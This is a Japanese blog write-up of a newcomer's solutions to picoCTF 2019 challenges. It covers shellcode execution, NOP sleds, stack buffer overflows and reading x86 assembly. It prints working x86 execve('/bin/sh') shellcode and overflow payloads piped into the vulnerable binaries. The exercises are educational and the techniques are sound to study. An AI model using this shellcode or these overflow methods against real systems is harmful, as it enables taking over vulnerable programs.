LoginSignup
11
13

More than 3 years have passed since last update.

初めてのCTF: picoCTF 2019 write up

Last updated at Posted at 2020-06-06

最近はプログラム書いてばかりだったので、他のことに挑戦してみたくなってCTFやってみることにしました。

スペック

  • 5年以上モバイルアプリエンジニア(Android, iOS, Flutter)やってる
  • 昔一瞬だけCTFに手を出したことはある(セッションハイジャックとかSQLインジェクションとかの超初級のやつのみ)
  • 興味があるのはPwnable系の問題
  • 一応計算機の動作原理とかは昔大学でやった
  • 機械語の知識は、大学時代に学研の4bitマイコンの命令をハンドアセンブラしてたときとかに身に着けたつもり

CTFとは

フラッグと呼ばれる文字列を入手する、セキュリティ系の競技です。

セキュリティ系ですので、当然一筋縄では入手できません。基本的にはプログラムの脆弱性を突いてフラッグを入手します。
ファイルの中に隠してあったり、DBの中に隠してあったりと、とにかく簡単には手に入らないような場所にフラッグがあります。

Pwnableとは

Exploitationとも呼ばれる、プログラムの脆弱性を突くことが要求されるジャンルです。

正直ここにしか興味がないので、CTFの他のジャンルはよく知りません。

picoCTFとは

常設のCTFサービスで、基本的には中高生向けのコンテストです。
難易度もそんなに高くないらしいので、入門としてこれの2019年のコンテスト過去問に挑戦してみることにしました。

Write up

handy-shellcode

問題

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_6_f0b84e12a8162d64291fd16755d233eb on the shell server. Source.

シェルコードとやらを打ち込めば動くらしいです。
問題のプログラムはソースコードが公開されています。
主要部分だけ抜粋。

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");

  return 0;
}

char型配列 buf のポインタを関数ポインタとみなしてコールしています。
ということは、 buf に適切な機械語を打ち込んでやれば、同じディレクトリに置かれている flag.txt の内容を見ることができるということでしょう。

シェルコードってなんぞ

Wikipediaによれば

シェルコード(英: Shellcode)とは、コンピュータセキュリティにおいて、ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。

ということは、先程の buf にシェル(/bin/sh)を呼び出すコードを打ち込んでやれば良いようです。
たしかにシェルを奪取できれば、その権限内ならなんでもできちゃいますものね。

方針

今回の環境はx86アーキテクチャのLinuxです。なのでx86用にシェルコードを組んでやればよろしい、はず。

実行中のプログラムから別のプログラムを呼び出すには、 execve システムコールを呼び出せば良いようです。

また、アセンブラでシステムコールを呼び出すには、int 0x80 (オペコードの int はinterrupt,割り込み命令。オペランドの0x80はシステムコールを指す)を呼べば良いそうです。
どんなシステムコールが呼び出されるのかはレジスタの状態に依存するらしく、 eax レジスタには 0x0b を入れておけば良いとか色々あります。

具体的には以下の条件でうまくいきました。

  • レジスタの状態を特定のものにしておく
    • eax0x0b (11がexecveに対応する)
    • ebx は文字列 "/bin/sh" が格納されているアドレス
    • ecx0x0
    • edx0x0
  • int 命令をオペランド 0x80 で呼び出す

シェルコードの実装と使用

上記の状態になるようにハンドアセンブルしても良いのかもしれませんが、面倒なのでアセンブリで書いて出てきた機械語を使うことにしました。

まずコードを書きます。

shell.s
.global main
main:
        xorl %ecx, %ecx    # 同じ値でxorを取ると0になる。mov 0, (対象レジスタ) よりもよく使われる初期化の方法らしい?のでそれにあやかる
        xorl %edx, %edx    # こちらも初期化
        movl $11, %eax     # システムコール種別は 11 (0x0b) = execve
        push $0x0068732f   # "/sh" と終端null文字のリトルエンディアン表記
        push $0x6e69622f   # "/bin" のリトルエンディアン表記
        movl %esp, %ebx    # pushでスタックに積んだ文字列の先頭アドレスがespに入っているので、ebxに移す
        int $0x80          # システムコール呼び出し

コンパイル

$ as shell.s

内容を見ます

$ objdump -D a.out
(前略)
0000000000000000 <main>:
   0:   31 c9                   xor    %ecx,%ecx
   2:   31 d2                   xor    %edx,%edx
   4:   b8 0b 00 00 00          mov    $0xb,%eax
   9:   68 2f 73 68 00          pushq  $0x68732f
   e:   68 2f 62 69 6e          pushq  $0x6e69622f
  13:   89 e3                   mov    %esp,%ebx
  15:   cd 80                   int    $0x80

よさそう。
16進の数値部分だけ取り出して、echoで打ち込めるようにします。

$ (echo -e "\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; cat) | ./vuln

何も起こらない…?
と見せかけて、プロンプトの記号が出ていないだけでシェルは動いています。

cat flag.txt

フラッグ入手! やった!

今回の参考文献

OverFlow 1

問題

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8 on the shell server. Source.

バッファオーバーフローでどうにかする系のようです。
攻撃対象のプログラムのソースがあるので見てみます。主要部分だけ抜粋。

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);

  printf("Woah, were jumping to 0x%x !\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Give me a string and lets see what happens: ");
  vuln();
  return 0;
}

存在はすれどもどこからも呼ばれていない関数 flag を呼び出せばゴールのようです。
(普通は呼ばれていない関数があれば最適化で消される気がしますが、これは競技なので残されているでしょう、という前提で行きます)

バッファオーバーフロー攻撃とは

Wikipediaによれば

情報セキュリティ/サイバーセキュリティにおいてバッファオーバーフロー攻撃は、バッファオーバーフローの脆弱性を利用した攻撃である。

とのことです。
今回は vuln 関数内、 gets に脆弱性があります。

getsの脆弱性

もっぱらモバイルアプリばかり書いてきた私でも、この脆弱性は知っています。

こちらもWikipediaにある通り

gets には入力される文字列の長さを制限する機能が存在しない。

そのため、取得文字列を入れておく領域が小さいとバッファを溢れ出し、バッファの後続のメモリ領域も上書きして破壊してしまいます。

これを利用するわけですね。

方針

まず適当に vuln を実行してみます。

$ ./vuln
Give me a string and lets see what happens: 

Woah, were jumping to 0x8048705 !

get_return_address() が指している、元々の vuln 関数のリターン先が出てきました。

それではバッファサイズを超えるような入力をしてみましょう。
バッファサイズの64バイト分は小文字のaで埋めて、あとは適当な文字を入れて何でリターン先が上書きされるか見ます。

$ ./vuln
Give me a string and lets see what happens: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ
Woah, were jumping to 0x504f4e4d !
Segmentation fault (core dumped)

変なアドレスを踏んでSegmentation faultを起こしています。
リターン先は 0x504f4e4d なので、おそらく入力値の MNOP (ASCIIコードで 4d4e4f50、x86はリトルエンディアンなので逆順になっている)で上書きされたものと推測できます。

これで、64バイト + 12バイト(A〜Lで12文字だったため)の後に flag() のオフセットを入れてやれば良いことがわかりました。

flag関数のオフセット調査

問題文からプログラムを入手できるので、objdumpで見てみます。

$ objdump -D vuln

(前略)
080485e6 <flag>:

(後略)

0x080485e6 であることがわかります。

攻撃

aを64+12個並べてバッファを詰めて、flag関数のオフセットリトルエンディアン表記にして、実際に突っ込みます。

$ $ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08"; cat) | ./vuln

やった、フラッグゲット!!

今回の参考文献

slippery-shellcode

問題

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_2_4061c12f5a4a9d8c1c3f45b25fbcb09a on the shell server. Source.

今度の問題は少々トリッキーだそうです。

ソースを見るとこんな感じでした。主要部分だけ抜粋。


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing from a random location now...");

  int offset = (rand() % 256) + 1;

  ((void (*)())(buf+offset))();


  puts("Finishing Executing Shellcode. Exiting now...");

  return 0;
}

handy-shellcodeのときとほとんど同じですが、コールされるアドレスがランダムな offset 分ずれるようです。

方針

動き得るオフセットのサイズは最大で256byte。
ということは、シェルコードを詰められるバッファの先頭256byteを、他に影響のない適当なコードで埋めてしまえば、オフセットがどれだけずれても良さそうです。

幸い、 nop という、何もしないオペコードが存在します。

シェルコードの実装と攻撃

前半256byteは nop0x90)で埋めてしまって、その後にシェルに入るコードを付け足して
シェルに入る部分はhandy-shellcodeのものをそのまま使いまわします。

$ (echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; cat) | ./vuln

あとは cat flag.txt を叩けばフラグゲット!

今回の参考文献

OverFlow 2

問題

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_3_051820c27c2e8c060021c0b9705ae446 on the shell server. Source.

オーバーフローしたあとの引数が問題になるようです。基礎から学べていい感じ。

ソースコードの抜粋は以下。

#define BUFSIZE 176
#define FLAGSIZE 64

void flag(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xC0DED00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

前回のOverflow1と同じく、存在はしていてもどこからも呼ばれていない flag() を呼び出せばゴール。
ただし引数が2つあって、第一引数を 0xDEADBEEF、第二引数を 0xC0DED00D にする必要があるとのこと。

方針

今回は get_return_address() が無いので、メモリ上のどこにリターンアドレスが入っているのかを事前に確認して、その上でメモリ上のどこに引数を詰めればよいか考えます。

まずはgdbでリターンアドレスを確認。

$ gdb vuln
(gdb) b *vuln
(gdb) r
(gdb) n
1234
1234
0x0804871c in main ()

通常時、戻り先は 0x0804871 になっているようです。
どれだけバッファを溢れさせるとここが変わるのか見てみます。

$ gdb vuln
(gdb) b *vuln
(gdb) r
(gdb) n
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ
0x504f4e4d in ?? ()

前回の問題と同じく MNOP の値にリターンアドレスが変わっています。
バッファサイズ(176byte)+12byteを埋めて、その後に flag() のアドレスを入れれば、まず flag() には辿り着けそうです。

$ objdump -D vuln
(前略)

(後略)

0x080485e6 に飛ばせば良いようです。

とりあえずgdbでflagに飛んだところまで見てみます。

$ (echo -e "b *flag\nr\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08"; cat) | gdb vuln
(中略)
Breakpoint 1, 0x080485e6 in flag ()

来ました。
試しにこのままcでコンティニューすると、gdbの権限(現在ログイン中のユーザーの権限)でflag.txtを読みに行きエラーを起こします。
実際の攻撃コードはgdbを使わずに流さないといけないようです。

引数の格納場所

イマイチ詳しいことは知らないのですが、関数呼び出しというのは、関数の先頭アドレスの後に引数を積んでおくことで実現しているとどこかで読んだことがあります。
具体的にどこのアドレスを引数としているのかdisasで見てみます。

Dump of assembler code for function flag:
=> 0x080485e6 <+0>:     push   %ebp
   0x080485e7 <+1>:     mov    %esp,%ebp
   0x080485e9 <+3>:     push   %ebx
   0x080485ea <+4>:     sub    $0x54,%esp
   0x080485ed <+7>:     call   0x8048520 <__x86.get_pc_thunk.bx>
   0x080485f2 <+12>:    add    $0x1a0e,%ebx
   0x080485f8 <+18>:    sub    $0x8,%esp
   0x080485fb <+21>:    lea    -0x1850(%ebx),%eax
   0x08048601 <+27>:    push   %eax
   0x08048602 <+28>:    lea    -0x184e(%ebx),%eax
   0x08048608 <+34>:    push   %eax
   0x08048609 <+35>:    call   0x80484a0 <fopen@plt>
   0x0804860e <+40>:    add    $0x10,%esp
   0x08048611 <+43>:    mov    %eax,-0xc(%ebp)
   0x08048614 <+46>:    cmpl   $0x0,-0xc(%ebp)
   0x08048618 <+50>:    jne    0x8048636 <flag+80>
   0x0804861a <+52>:    sub    $0xc,%esp
   0x0804861d <+55>:    lea    -0x1844(%ebx),%eax
   0x08048623 <+61>:    push   %eax
   0x08048624 <+62>:    call   0x8048460 <puts@plt>
   0x08048629 <+67>:    add    $0x10,%esp
   0x0804862c <+70>:    sub    $0xc,%esp
   0x0804862f <+73>:    push   $0x0
   0x08048631 <+75>:    call   0x8048470 <exit@plt>
   0x08048636 <+80>:    sub    $0x4,%esp
   0x08048639 <+83>:    pushl  -0xc(%ebp)
   0x0804863c <+86>:    push   $0x40
   0x0804863e <+88>:    lea    -0x4c(%ebp),%eax
   0x08048641 <+91>:    push   %eax
   0x08048642 <+92>:    call   0x8048440 <fgets@plt>
   0x08048647 <+97>:    add    $0x10,%esp
   0x0804864a <+100>:   cmpl   $0xdeadbeef,0x8(%ebp)
   0x08048651 <+107>:   jne    0x804866d <flag+135>
   0x08048653 <+109>:   cmpl   $0xc0ded00d,0xc(%ebp)
   0x0804865a <+116>:   jne    0x8048670 <flag+138>

長いですが、まず注目すべきは以下の二行でしょうか。
Cのソースで見覚えのある定数との比較をしている箇所です。
おそらくここがif文の条件式に対応しているのでしょう。

   0x0804864a <+100>:   cmpl   $0xdeadbeef,0x8(%ebp)
   0x08048653 <+109>:   cmpl   $0xc0ded00d,0xc(%ebp)

ebp レジスタから0x8バイト先の箇所が arg1、0xc(12)バイト先の箇所が arg2 のようです。
ebp の値は、以下の行で設定されている様子。

   0x080485e7 <+1>:     mov    %esp,%ebp

esp がスタックポインタ(flag() の先頭アドレスが入っている箇所)なので、攻撃コードの後に4バイト(flag()の先頭アドレス自体が4バイトなので、残り4バイトを詰める必要がある)のパディングを置いて、その後に引数に入れたい値を置けば良さそうです。

攻撃コードの実装

先ほど作った文字列の後に、引数を置いていきます。

$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08aaaa\xef\xbe\xad\xde\x0d\xd0\xde\xc0"; cat) | ./vuln

やった、できた!

asm1

今度はReversing系の問題にも挑戦してみます。

問題

What does asm1(0x1f3) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_2_4ced82d316c06cd3a46ba3bda9f6c144.

asm という関数に 0x1f3 とい引数を渡したときに何が返るか、という問題です。 asmのソースコードはダウンロードできます。

asm1.s
asm1:
    <+0>:   push   ebp
    <+1>:   mov    ebp,esp
    <+3>:   cmp    DWORD PTR [ebp+0x8],0x767
    <+10>:  jg     0x512 <asm1+37>
    <+12>:  cmp    DWORD PTR [ebp+0x8],0x1f3
    <+19>:  jne    0x50a <asm1+29>
    <+21>:  mov    eax,DWORD PTR [ebp+0x8]
    <+24>:  add    eax,0xb
    <+27>:  jmp    0x529 <asm1+60>
    <+29>:  mov    eax,DWORD PTR [ebp+0x8]
    <+32>:  sub    eax,0xb
    <+35>:  jmp    0x529 <asm1+60>
    <+37>:  cmp    DWORD PTR [ebp+0x8],0xcde
    <+44>:  jne    0x523 <asm1+54>
    <+46>:  mov    eax,DWORD PTR [ebp+0x8]
    <+49>:  sub    eax,0xb
    <+52>:  jmp    0x529 <asm1+60>
    <+54>:  mov    eax,DWORD PTR [ebp+0x8]
    <+57>:  add    eax,0xb
    <+60>:  pop    ebp
    <+61>:  ret    

環境はx86なので、x86のアセンブリとして読んでいきます。

方針と計算

+0ebp の内容をスタックに退避してから eps すなわち関数の先頭アドレス ebp に移し、その後 DWORD PTR [ebp+0x8] で何度も参照されている値があります。
おそらくこれが引数でしょう。
後は各命令を見ながらなんとなくCっぽく訳して行きます。

asm.c
int asm1(int arg) {
    if (arg > 0x767) goto l37;

    if (arg != 0x1f3) goto l29;

    int a = arg + 0xb;
    return a;

l29:
    int b = arg - 0xb;
    return b;

l37:
    if (arg != 0xcde) goto l54;

    int c = arg - 0xb;
    return c;

l54:
    int d = arg + 0xb;
    return d;
}

引数は 0x1f3 なので、コードパスは変数 a が登場するパスを通るはず。
あとは 0x1f3 + 0xb を解けばできあがり!!

11
13
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
11
13